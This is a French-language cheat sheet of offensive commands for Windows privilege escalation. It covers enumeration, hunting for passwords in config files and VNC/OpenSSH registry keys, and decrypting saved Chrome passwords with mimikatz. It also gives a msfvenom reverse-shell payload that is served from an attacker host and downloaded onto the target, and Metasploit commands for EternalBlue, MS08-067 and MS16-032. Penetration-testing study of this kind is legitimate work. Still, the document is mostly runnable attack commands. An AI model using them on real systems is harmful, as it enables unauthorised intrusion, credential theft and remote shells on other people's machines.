Windows Privilege Escalation
2026-03-13#privesc#windows#powershell#metasploit#enumeration
Enumération
Système
Get-ComputerInfo
Réseau
Get-NetIPAddress ipconfig arp -a
Utilisateurs & groupes
Get-LocalUser Get-LocalGroup
PowerShell
cat (Get-PSReadlineOption).HistorySavePath # historique des commandes PS Get-WinEvent -LogName "Windows PowerShell" # logs PowerShell Get-Clipboard # contenu du presse-papier .\accesschk64.exe # vérifier les permissions
Recherche de mots de passe
Fichiers de configuration
cd "C:\Program Files" Get-ChildItem -Recurse -ErrorAction SilentlyContinue ` | Select-String "password" -List ` | select path ` | where path -like "*.conf"
Registre — services & clés
Get-ItemProperty "HKCU:\Software\ORL\WinVNC3\Password" Get-ItemProperty "HKCU:\Software\TightVNC\Server" Password Get-ItemProperty "HKLM:\Software\TightVNC\Server" Password Get-ItemProperty "HKCU:\Software\OpenSSH\Agent\Keys" Get-ItemProperty "HKLM:\Software\OpenSSH\Agent\Keys"
Mots de passe Chrome (DPAPI)
dpapi::chrome /in:"C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /masterkey:<MASTERKEY>
Reverse Shell Windows
1. Générer le payload (machine attaquante)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4343 -f exe -o reverse.exe
2. Servir le fichier
python3 -m http.server
3. Télécharger sur la machine cible
Invoke-WebRequest -Uri "http://<IP>:8000/reverse.exe" -OutFile .\Desktop\reverse.exe
Exploits Metasploit
EternalBlue (MS17-010)
use exploit/windows/smb/ms17_010_eternalblue set RHOST <IP> run
MS08-067
use exploit/windows/smb/ms08_067_netapi set RHOST <IP> set payload windows/shell_bind_tcp exploit
MS16-032
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc show targets set TARGET <target-id> exploit
CVE notables
| CVE | Nom | Description |
|---|---|---|
| MS17-010 | EternalBlue | RCE via SMBv1 |
| MS08-067 | NetAPI | RCE via Server Service |
| MS16-032 | Secondary Logon | Privesc local |
| CVE-2021-36934 | HiveNightmare | Lecture de SAM/SYSTEM sans admin |
| CVE-2021-1675 | PrintNightmare | RCE/privesc via Print Spooler |